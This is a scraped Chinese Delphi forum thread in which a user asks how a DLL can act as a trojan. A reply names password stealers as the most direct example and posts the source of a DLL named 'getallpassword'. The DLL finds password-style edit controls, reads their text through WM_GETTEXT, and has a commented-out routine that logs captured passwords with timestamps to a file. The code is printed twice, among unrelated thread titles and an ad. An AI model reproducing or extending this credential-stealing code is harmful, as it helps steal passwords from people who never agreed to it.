DLL代码能否实现像一般程序的功能,比如木马,如果可以,怎么实现呢? 如题!谢谢! 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 当然可以了,不如那些内外接应的一些远程控制软件,或者扫描软件都可以实现的,最直接的就是一些盗密软件,不过这样的话,比较容易被发现的,因为你无形中在进程中多了一个dll文件,很容易发现的 把这几个函数写到dll里,自己再研究一下,我写的也不一定正确,这是我很早写的了,具体的不多说了,希望你只是研究,最好不要发布出去......library getallpassword;uses windows, SysUtils, classes, messages;{$R *.res}function lpnumpass(hwnd:integer):boolean;stdcall;var buffer:array[0..256]of char;// passfile:textfile; hwold:integer;begin hwold:=getwindowlong(hwnd,gwl_style); if (hwold and es_password) <> 0 then begin sendmessage(hwnd,wm_gettext,50,integer(@buffer)); {assignfile(passfile,'Userpassword.lst'); append(passfile); try writeln(passfile,formatdatetime('''Chattime:''yyyy/mm/dd/hh:mm', now)); writeln(passfile,('''UserPassword:''' )+ buffer); writeln(passfile,'---------------------------'); finally closefile(passfile); end; } end; result:=true;end;exports lpnumpass;beginend. 请问不通过循环遍历,如何获得进程启动、退出信息。 提个弱点的问题,控件的TAG属性有什么用?谢谢 一个很着急的问题! sql查询,联合问题???请大侠们指教~~~~ delphi程序源代码中文乱码,求教! treeview节点字体颜色 ShowModal如何使用 关于tlistview自绘和spy4win的问题,能否勾引出来ccrun哪? 我的DLL传递参数不正确,为什么? ActiveFrom学要数字签名,方可在客户浏览器上使用,但数字签名怎么搞,望各位高手给点提示。解决问题800分程上。 请问有没有人知道如何处理取下来的ip原始包,如何分类读取? 网络编程的问题,谁能帮我解决。
library getallpassword;uses
windows,
SysUtils,
classes,
messages;{$R *.res}function lpnumpass(hwnd:integer):boolean;stdcall;
var
buffer:array[0..256]of char;
// passfile:textfile;
hwold:integer;
begin
hwold:=getwindowlong(hwnd,gwl_style);
if (hwold and es_password) <> 0 then
begin
sendmessage(hwnd,wm_gettext,50,integer(@buffer));
{assignfile(passfile,'Userpassword.lst');
append(passfile);
try
writeln(passfile,formatdatetime('''Chattime:''yyyy/mm/dd/hh:mm', now));
writeln(passfile,('''UserPassword:''' )+ buffer);
writeln(passfile,'---------------------------');
finally
closefile(passfile);
end; }
end;
result:=true;
end;exports
lpnumpass;beginend.